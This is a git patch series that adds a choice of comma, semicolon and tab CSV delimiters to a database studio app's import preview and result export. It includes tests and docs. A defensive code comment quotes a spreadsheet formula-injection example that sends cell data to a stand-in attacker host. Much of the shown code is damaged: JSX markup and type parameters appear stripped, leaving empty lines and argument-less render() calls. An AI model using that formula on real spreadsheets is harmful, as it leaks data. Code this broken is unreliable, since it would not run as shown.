From 9e054c574707bf46a648fab2a7f6828b2a8429a7 Mon Sep 17 00:00:00 2001 From: 2160039878-cyber <285580214+2160039878-cyber@users.noreply.github.com> Date: Thu, 10 Sep 2026 04:10:01 +0800 Subject: [PATCH 1/2] feat(csv): choose comma, semicolon or tab delimiters --- README.md | 2 +- docs/FEATURES.md | 1 + src/components/DataImportModal.tsx | 70 +++++++++++++------- src/components/Studio.tsx | 9 ++- src/components/studio/BottomPanel.tsx | 20 +++++- src/lib/export/csv.ts | 29 +++++--- src/lib/export/result-export.ts | 6 +- src/workspace/StudioWorkspace.tsx | 5 +- tests/components/DataImportModal.test.tsx | 32 +++++++++ tests/components/Studio.test.tsx | 21 ++++++ tests/components/StudioWorkspace.test.tsx | 18 +++++ tests/components/studio/BottomPanel.test.tsx | 11 +++ tests/unit/data-import-functions.test.ts | 16 +++++ tests/unit/lib/export/csv.test.ts | 8 +++ tests/unit/lib/export/result-export.test.ts | 6 ++ 15 files changed, 216 insertions(+), 38 deletions(-) diff --git a/README.md b/README.md index 1e2740e90..dcf1603e6 100644 --- a/README.md +++ b/README.md @@ -203,7 +203,7 @@ Standalone application only: the embedded `@libredb/studio` package carries no a - **Inline Editing**: Double-click to update values directly in the grid, on engines whose SQL has a single-table row update (the control is hidden elsewhere). - **Column Filtering**: Per-column text filters on query results for instant data exploration. - **Interactive Pivot Table**: Client-side pivoting with 5 aggregation functions (COUNT, SUM, AVG, MIN, MAX) and SQL generation. -- **Expert Exporter**: Instant CSV and JSON exports for reporting. +- **Expert Exporter**: Instant CSV and JSON exports for reporting. CSV import and result export offer comma (default), semicolon and tab separators. ### Advanced Data Visualization - **8 Chart Types**: Bar, Line, Pie, Area, Scatter, Histogram, Stacked Bar, and Stacked Area charts powered by Recharts. diff --git a/docs/FEATURES.md b/docs/FEATURES.md index fd9069f7c..03c304985 100644 --- a/docs/FEATURES.md +++ b/docs/FEATURES.md @@ -116,6 +116,7 @@ ### 15. Professional Data Export * **Format Versatility:** Instantly export query result sets to CSV, JSON, SQL `INSERT` statements, or a generated `CREATE TABLE` DDL. +* **CSV Delimiters:** Choose comma (default), semicolon or tab in the import preview or result export menu. Changing the import delimiter reparses the preview and retains the header setting and column mappings. Export quoting, formula neutralization and UTF-8 encoding apply to every separator. * **Developer-Ready:** Clean data output optimized for external analysis, reporting, or database migrations. * **Formula-Safe CSV:** A cell whose value starts with `=`, `+`, `-`, `@`, a tab or a carriage return is written with a leading apostrophe, so a spreadsheet shows it as text instead of evaluating it when the file is opened; this is unconditional and has no setting, and a plain number such as `-12.5` is left exactly as it is. diff --git a/src/components/DataImportModal.tsx b/src/components/DataImportModal.tsx index 5457b1d0d..a157615f8 100644 --- a/src/components/DataImportModal.tsx +++ b/src/components/DataImportModal.tsx @@ -20,6 +20,7 @@ import { } from "lucide-react"; import type { DatabaseType, TableSchema } from "@/lib/types"; import { quoteLiteral } from "@/lib/sql/values"; +import type { CsvDelimiter } from "@/lib/export/csv"; interface DataImportModalProps { isOpen: boolean; @@ -37,7 +38,7 @@ export interface ParsedData { type ImportStep = "upload" | "preview" | "configure" | "ready"; -export function parseCSV(text: string, firstRowIsHeader = true): ParsedData { +export function parseCSV(text: string, firstRowIsHeader = true, delimiter: CsvDelimiter = ","): ParsedData { const lines = text.split(/\r?\n/).filter((line) => line.trim()); if (lines.length === 0) return { headers: [], rows: [], totalRows: 0 }; @@ -58,7 +59,7 @@ export function parseCSV(text: string, firstRowIsHeader = true): ParsedData { } else { inQuotes = false; } - } else if (ch === "," && !inQuotes) { + } else if (ch === delimiter && !inQuotes) { result.push(current.trim()); current = ""; } else { @@ -211,12 +212,14 @@ export function DataImportModal({ isOpen, onClose, onImport, tables, databaseTyp const [isImporting, setIsImporting] = useState(false); const fileInputRef = useRef(null); const csvTextRef = useRef(""); + const [csvDelimiter, setCsvDelimiter] = useState(","); const resetState = useCallback(() => { setStep("upload"); setParsedData(null); setFileName(""); setFirstRowIsHeader(true); + setCsvDelimiter(","); csvTextRef.current = ""; setTargetTable(""); setCreateNewTable(false); @@ -279,6 +282,20 @@ export function DataImportModal({ isOpen, onClose, onImport, tables, databaseTyp e.preventDefault(); }, []); + const updateCsvPreview = (hasHeader: boolean, delimiter: CsvDelimiter) => { + const data = parseCSV(csvTextRef.current, hasHeader, delimiter); + setFirstRowIsHeader(hasHeader); + setCsvDelimiter(delimiter); + setParsedData(data); + if (data.headers.some((header, index) => header !== parsedData?.headers[index])) { + // Retain mappings when switching header or delimiter interpretations and back. + setColumnMapping((mapping) => ({ + ...Object.fromEntries(data.headers.map((header) => [header, header])), + ...mapping, + })); + } + }; + const generatedSQL = useMemo( () => generateImportSQL( @@ -425,27 +442,34 @@ export function DataImportModal({ isOpen, onClose, onImport, tables, databaseTyp {fileType === "csv" && ( - +
+ + +
)} {/* Preview Table */} diff --git a/src/components/Studio.tsx b/src/components/Studio.tsx index 30258b222..04baee8f3 100644 --- a/src/components/Studio.tsx +++ b/src/components/Studio.tsx @@ -1,5 +1,7 @@ "use client"; +import type { CsvDelimiter } from "@/lib/export/csv"; + import { appFetch } from "@/lib/config/base-path"; import React, { useState, useEffect, useRef } from "react"; import { Sidebar, ConnectionsList } from "@/components/sidebar"; @@ -367,7 +369,11 @@ export default function Studio() { * `currentTab.result` wrote rows nobody was looking at. That is why the menu used to * be hidden over a hydrated view instead of retargeted. */ - const exportResults = (format: ResultExportFormat, hydrated: AgentArtifactHydration | null = null) => { + const exportResults = ( + format: ResultExportFormat, + hydrated: AgentArtifactHydration | null = null, + csvDelimiter?: CsvDelimiter, + ) => { const source = hydrated?.result ?? tabMgr.currentTab.result; if (!source) return; // The columns the engine declared for THIS result. The writers read every row by @@ -389,6 +395,7 @@ export default function Studio() { // The types the engine declared for THIS result, which is what the DDL form // writes when they are there — the only source for a computed column. columnTypes: source.columnTypes, + csvDelimiter, }); downloadText(file.content, file.mimeType, resultExportFileName(file.extension, hydrated?.runId)); }; diff --git a/src/components/studio/BottomPanel.tsx b/src/components/studio/BottomPanel.tsx index e3f6410d3..653a2f024 100644 --- a/src/components/studio/BottomPanel.tsx +++ b/src/components/studio/BottomPanel.tsx @@ -1,5 +1,7 @@ "use client"; +import type { CsvDelimiter } from "@/lib/export/csv"; + import React, { useMemo } from "react"; import type { DatabaseConnection, QueryTab, TableSchema, QueryResult } from "@/lib/types"; import type { ProviderMetadata } from "@/hooks/use-provider-metadata"; @@ -166,7 +168,11 @@ interface BottomPanelProps { // The second argument is the artifact the rows on screen came from, or null when // they are the tab's own: the export writes what it is GIVEN rather than reading the // tab back, which is what lets the menu stay open over a hydrated result (B34). - onExportResults: (format: ResultExportFormat, hydrated: AgentArtifactHydration | null) => void; + onExportResults: ( + format: ResultExportFormat, + hydrated: AgentArtifactHydration | null, + csvDelimiter?: CsvDelimiter, + ) => void; /** * A result an agent run stored, shown in the surface that already renders that * kind of result (#329 T11). Optional so every other caller — the embedded shell @@ -390,6 +396,18 @@ export function BottomPanel({ > Export as CSV + onExportResults("csv", exportArtifact, ";")} + className="text-xs cursor-pointer" + > + Export as CSV (semicolon) + + onExportResults("csv", exportArtifact, "\t")} + className="text-xs cursor-pointer" + > + Export as CSV (tab) + onExportResults("json", exportArtifact)} className="text-xs cursor-pointer" diff --git a/src/lib/export/csv.ts b/src/lib/export/csv.ts index 2da238f3f..4cb87a458 100644 --- a/src/lib/export/csv.ts +++ b/src/lib/export/csv.ts @@ -12,7 +12,7 @@ * it is data the database held. The difference is only which grammar has to be * respected — RFC 4180 here, the engine's literal grammar there. * - * Fields are separated by `,` and records by a single `\n`. RFC 4180 spells the + * Fields default to `,`, with `;` and tab also available; records use a single `\n`. RFC 4180 spells the * record separator `CRLF`; every reader that matters accepts a bare LF, and a field * that CONTAINS either is quoted, which is the part a reader cannot recover from. * @@ -30,7 +30,9 @@ import { jsonText } from "./json"; * The characters RFC 4180 says force a field to be quoted. A field is left bare * otherwise, so a numeric column stays numeric to a spreadsheet. */ -const NEEDS_QUOTING = /["\r\n,]/; +const NEEDS_QUOTING = /["\r\n]/; + +export type CsvDelimiter = "," | ";" | "\t"; /** * A value as its CSV text, before quoting. @@ -76,7 +78,7 @@ const FORMULA_LEAD = /^[=+\-@\t\r]/; */ const PLAIN_NUMBER = /^[+-]?(\d+(\.\d*)?|\.\d+)([eE][+-]?\d+)?$/; -function csvField(value: unknown): string { +function csvField(value: unknown, delimiter: CsvDelimiter): string { const text = renderValue(value); // The one mutation in this file. `=HYPERLINK("http://attacker/"&A1)` is data in the // database and a formula in Excel, LibreOffice and Google Sheets, and it runs when @@ -87,12 +89,12 @@ function csvField(value: unknown): string { if (FORMULA_LEAD.test(text) && !PLAIN_NUMBER.test(text)) { return `"'${text.replace(/"/g, '""')}"`; } - return NEEDS_QUOTING.test(text) ? `"${text.replace(/"/g, '""')}"` : text; + return NEEDS_QUOTING.test(text) || text.includes(delimiter) ? `"${text.replace(/"/g, '""')}"` : text; } /** One CSV record, escaped field by field. */ -export function csvRow(values: readonly unknown[]): string { - return values.map(csvField).join(","); +export function csvRow(values: readonly unknown[], delimiter: CsvDelimiter = ","): string { + return values.map((value) => csvField(value, delimiter)).join(delimiter); } /** @@ -144,11 +146,20 @@ export function cellOf(row: Record, column: string): unknown { * row is then read BY NAME, so a row whose keys arrive in another order, or which is * missing one, lands in the right columns instead of shifting the rest. */ -export function toCsv(rows: readonly Record[], columns?: readonly string[]): string { +export function toCsv( + rows: readonly Record[], + columns?: readonly string[], + delimiter: CsvDelimiter = ",", +): string { const header = resolveColumns(rows, columns); - const lines = [csvRow(header)]; + const lines = [csvRow(header, delimiter)]; for (const row of rows) { - lines.push(csvRow(header.map((column) => cellOf(row, column)))); + lines.push( + csvRow( + header.map((column) => cellOf(row, column)), + delimiter, + ), + ); } return lines.join("\n"); } diff --git a/src/lib/export/result-export.ts b/src/lib/export/result-export.ts index 1b81bae37..e7a60667a 100644 --- a/src/lib/export/result-export.ts +++ b/src/lib/export/result-export.ts @@ -2,7 +2,7 @@ import type { DatabaseType } from "@/lib/types"; import { isBareIdentifier, quoteIdentifier } from "@/lib/sql/identifier"; import { quoteLiteral } from "@/lib/sql/values"; import { asBytes, binaryText } from "./binary"; -import { cellOf, resolveColumns, toCsv } from "./csv"; +import { cellOf, resolveColumns, toCsv, type CsvDelimiter } from "./csv"; import { jsonText } from "./json"; /** @@ -32,6 +32,8 @@ export interface ResultExportSource { * common case — then the DDL form infers a type from a value instead. */ columnTypes?: Record; + /** CSV separator; omitted for the backward-compatible comma default. */ + csvDelimiter?: CsvDelimiter; } export interface ResultExportFile { @@ -813,7 +815,7 @@ export function buildResultExport(format: ResultExportFormat, source: ResultExpo if (format === "csv") { // The charset is stated even though the download layer's byte order mark is what // Excel actually reads, because every other consumer reads the type. - return { content: toCsv(rows, columns), mimeType: "text/csv;charset=utf-8", extension: "csv" }; + return { content: toCsv(rows, columns, source.csvDelimiter), mimeType: "text/csv;charset=utf-8", extension: "csv" }; } const sql = (content: string): ResultExportFile => ({ content, mimeType: "text/sql", extension: "sql" }); diff --git a/src/workspace/StudioWorkspace.tsx b/src/workspace/StudioWorkspace.tsx index e4622fca0..4d308a278 100644 --- a/src/workspace/StudioWorkspace.tsx +++ b/src/workspace/StudioWorkspace.tsx @@ -1,5 +1,7 @@ "use client"; +import type { CsvDelimiter } from "@/lib/export/csv"; + import React, { useState, useEffect, useRef, useMemo, useCallback } from "react"; import { Sidebar } from "@/components/sidebar"; // MobileNav and mobile tab panels excluded in embedded mode — platform provides its own navigation @@ -254,7 +256,7 @@ export function StudioWorkspace({ // === Export results (shared writers; this shell applies no masking) === const exportResults = useCallback( - (format: ResultExportFormat) => { + (format: ResultExportFormat, _hydrated?: unknown, csvDelimiter?: CsvDelimiter) => { if (!tabMgr.currentTab.result) return; const file = buildResultExport(format, { rows: tabMgr.currentTab.result.rows, @@ -267,6 +269,7 @@ export function StudioWorkspace({ // The host's own declared column types (`use-query-adapter` carries them), // which the DDL form prefers over a type guessed from a value. columnTypes: tabMgr.currentTab.result.columnTypes, + csvDelimiter, }); downloadText(file.content, file.mimeType, `query_result_export.${file.extension}`); }, diff --git a/tests/components/DataImportModal.test.tsx b/tests/components/DataImportModal.test.tsx index 8b5ae7bbd..53e59caec 100644 --- a/tests/components/DataImportModal.test.tsx +++ b/tests/components/DataImportModal.test.tsx @@ -116,6 +116,38 @@ describe("DataImportModal", () => { // ── CSV file upload → Preview step ───────────────────────────────────────── + test.each([";", "\t"])("delimiter picker reparses preview and keeps headerless import (%s)", (delimiter) => { + const onImport = mock((_sql: string) => {}); + const { baseElement } = render(); + act(() => simulateFileUpload(baseElement, `Alice${delimiter}30\nBob${delimiter}25`, "data.csv")); + const body = within(baseElement); + fireEvent.change(body.getByRole("combobox", { name: "CSV delimiter" }), { target: { value: delimiter } }); + expect(body.getByText("1 rows, 2 columns").textContent).toBe("1 rows, 2 columns"); + fireEvent.click(body.getByRole("checkbox", { name: "First row is header" })); + expect(body.getByText("2 rows, 2 columns").textContent).toBe("2 rows, 2 columns"); + expect(body.getByRole("cell", { name: "Alice" }).textContent).toBe("Alice"); + fireEvent.click(body.getByText("Configure Import")); + fireEvent.click(body.getByText("New Table")); + fireEvent.click(body.getByText("Review SQL")); + fireEvent.click(body.getByText("Execute Import")); + expect(onImport.mock.calls[0][0]).toContain("('Alice', 30)"); + expect(onImport.mock.calls[0][0]).toContain("('Bob', 25)"); + }); + + test("reset restores the comma delimiter and JSON hides the picker", () => { + const { baseElement } = render(); + const body = within(baseElement); + act(() => simulateFileUpload(baseElement, "name;age\nAlice;30", "data.csv")); + fireEvent.change(body.getByRole("combobox", { name: "CSV delimiter" }), { target: { value: ";" } }); + fireEvent.click(body.getByText("Reset")); + act(() => simulateFileUpload(baseElement, "name,age\nBob,25", "next.csv")); + expect((body.getByRole("combobox", { name: "CSV delimiter" }) as HTMLSelectElement).value).toBe(","); + expect(body.getByRole("cell", { name: "Bob" }).textContent).toBe("Bob"); + fireEvent.click(body.getByText("Reset")); + act(() => simulateFileUpload(baseElement, '[{"name":"Alice"}]', "data.json")); + expect(body.queryByRole("combobox", { name: "CSV delimiter" }) === null).toBe(true); + }); + test("advances to preview step after CSV file upload", () => { const { baseElement } = render(); diff --git a/tests/components/Studio.test.tsx b/tests/components/Studio.test.tsx index 3da91062c..768a87f80 100644 --- a/tests/components/Studio.test.tsx +++ b/tests/components/Studio.test.tsx @@ -852,6 +852,27 @@ describe("Studio", () => { }); // --- exportResults --- + test.each([";", "\t"])("CSV export forwards the chosen delimiter (%s)", async (delimiter) => { + tabMgrOverride = { + currentTab: { + id: "tab-1", + name: "Users", + query: "SELECT 1", + result: testResult, + isExecuting: false, + type: "sql", + }, + }; + render(); + const exportFn = capturedBottomPanelProps.onExportResults as ( + format: string, + artifact: null, + delimiter: string, + ) => void; + act(() => exportFn("csv", null, delimiter)); + const blob = (mockCreateObjectURL.mock.calls[0] as unknown[])[0] as Blob; + expect((await blob.text()).split("\n")[0].replace(/^\uFEFF/, "")).toBe(testResult.fields.join(delimiter)); + }); test("exportResults CSV creates text/csv blob", () => { tabMgrOverride = { currentTab: { diff --git a/tests/components/StudioWorkspace.test.tsx b/tests/components/StudioWorkspace.test.tsx index 187045d6e..f97f61c69 100644 --- a/tests/components/StudioWorkspace.test.tsx +++ b/tests/components/StudioWorkspace.test.tsx @@ -588,6 +588,24 @@ describe("StudioWorkspace", () => { expect(text.split("\n")[1].endsWith(",")).toBe(true); }); + test.each([";", "\t"])( + "CSV export forwards the chosen delimiter to the workspace download (%s)", + async (delimiter) => { + withExportResult(); + renderWorkspace(); + const exportFn = capturedBottomPanelProps.onExportResults as ( + format: string, + artifact: null, + delimiter: string, + ) => void; + act(() => exportFn("csv", null, delimiter)); + const blob = mockCreateObjectURL.mock.calls[0][0] as Blob; + expect((await blob.text()).split("\n")[0].replace(/^\uFEFF/, "")).toBe( + ["id", "name", "ratio", "active", "created", "deleted"].join(delimiter), + ); + }, + ); + // The blob URL outlives the task that started the download: revoking it in the // same task can pull the data out from under a read that has not begun. test("exportResults does not revoke the blob URL before the download is handed off", async () => { diff --git a/tests/components/studio/BottomPanel.test.tsx b/tests/components/studio/BottomPanel.test.tsx index 76c5aaddf..4867dc89f 100644 --- a/tests/components/studio/BottomPanel.test.tsx +++ b/tests/components/studio/BottomPanel.test.tsx @@ -628,6 +628,17 @@ describe("BottomPanel", () => { * dismissing the artifact leaves it exactly as it was. */ describe("agent artifact hydration", () => { + test.each([ + ["semicolon", ";"], + ["tab", "\t"], + ])("CSV delimiter option %s carries the selected artifact", async (label, delimiter) => { + const onExportResults = mock(() => {}); + const props = hydratedProps({ onExportResults }) as React.ComponentProps; + const { getByText } = render()} />); + await userEvent.click(getByText("Export")); + await userEvent.click(within(document.body as HTMLElement).getByText(`Export as CSV (${label})`)); + expect(onExportResults).toHaveBeenCalledWith("csv", props.agentArtifact, delimiter); + }); const TAB_RESULT = { rows: [{ id: 1 }], fields: ["id"], rowCount: 1, executionTime: 10 }; const ARTIFACT_RESULT = { rows: [ diff --git a/tests/unit/data-import-functions.test.ts b/tests/unit/data-import-functions.test.ts index a560d8eb1..c52556f5e 100644 --- a/tests/unit/data-import-functions.test.ts +++ b/tests/unit/data-import-functions.test.ts @@ -14,6 +14,22 @@ import { // --------------------------------------------------------------------------- describe("parseCSV", () => { + test.each([";", "\t"] as const)( + "parses the chosen delimiter with quoted separators and decimal commas (%s)", + (delimiter) => { + const text = `name${delimiter}amount\r\n"Snow${delimiter}""quote"""${delimiter}1,5\r\n`; + expect(parseCSV(text, true, delimiter)).toEqual({ + headers: ["name", "amount"], + rows: [[`Snow${delimiter}"quote"`, "1,5"]], + totalRows: 1, + }); + expect(parseCSV(`Alice${delimiter}30`, false, delimiter)).toEqual({ + headers: ["column_1", "column_2"], + rows: [["Alice", "30"]], + totalRows: 1, + }); + }, + ); test("parses simple CSV", () => { const result = parseCSV("name,age\nAlice,30\nBob,25"); expect(result.headers).toEqual(["name", "age"]); diff --git a/tests/unit/lib/export/csv.test.ts b/tests/unit/lib/export/csv.test.ts index 7ac8d012c..4fa963a3d 100644 --- a/tests/unit/lib/export/csv.test.ts +++ b/tests/unit/lib/export/csv.test.ts @@ -2,6 +2,14 @@ import { describe, test, expect } from "bun:test"; import { csvRow, toCsv } from "@/lib/export/csv"; describe("csvRow", () => { + test.each([";", "\t"] as const)("uses the chosen delimiter and quotes it inside a value (%s)", (delimiter) => { + expect(csvRow([`left${delimiter}right`, 'say "hi"', "line1\nline2", "=1+1", -12.5, null], delimiter)).toBe( + [`"left${delimiter}right"`, '"say ""hi"""', '"line1\nline2"', '"\'=1+1"', "-12.5", ""].join(delimiter), + ); + expect(toCsv([{ amount: "1,5", name: "雪" }], ["name", "amount"], delimiter)).toBe( + `name${delimiter}amount\n雪${delimiter}1,5`, + ); + }); test("leaves a value that needs no quoting bare", () => { expect(csvRow(["id", "name", 42])).toBe("id,name,42"); }); diff --git a/tests/unit/lib/export/result-export.test.ts b/tests/unit/lib/export/result-export.test.ts index 0d28c6bd2..16863c86d 100644 --- a/tests/unit/lib/export/result-export.test.ts +++ b/tests/unit/lib/export/result-export.test.ts @@ -44,6 +44,12 @@ describe("deriveTableName", () => { }); describe("buildResultExport — csv", () => { + test.each([";", "\t"] as const)("passes the chosen CSV delimiter to the shared writer (%s)", (csvDelimiter) => { + const file = buildResultExport("csv", source({ csvDelimiter })); + expect(file.content).toBe(`id${csvDelimiter}name\n1${csvDelimiter}Ada`); + expect(file.extension).toBe("csv"); + expect(file.mimeType).toBe("text/csv;charset=utf-8"); + }); test("writes an escaped CSV under the declared columns", () => { const file = buildResultExport("csv", source({ rows: [{ id: 1, name: 'A,"B"' }] })); From 3c3d1fb76395f590686601bbc50fcbf1e83e6b4d Mon Sep 17 00:00:00 2001 From: 2160039878-cyber <285580214+2160039878-cyber@users.noreply.github.com> Date: Thu, 10 Sep 2026 06:09:39 +0800 Subject: [PATCH 2/2] docs(csv): clarify delimiter-dependent quoting --- src/lib/export/csv.ts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/lib/export/csv.ts b/src/lib/export/csv.ts index 4cb87a458..c8e25d43f 100644 --- a/src/lib/export/csv.ts +++ b/src/lib/export/csv.ts @@ -27,8 +27,8 @@ import { asBytes, binaryText } from "./binary"; import { jsonText } from "./json"; /** - * The characters RFC 4180 says force a field to be quoted. A field is left bare - * otherwise, so a numeric column stays numeric to a spreadsheet. + * Quotes and line breaks always require quoting. The delimiter is checked + * separately because it is now a parameter rather than part of this pattern. */ const NEEDS_QUOTING = /["\r\n]/;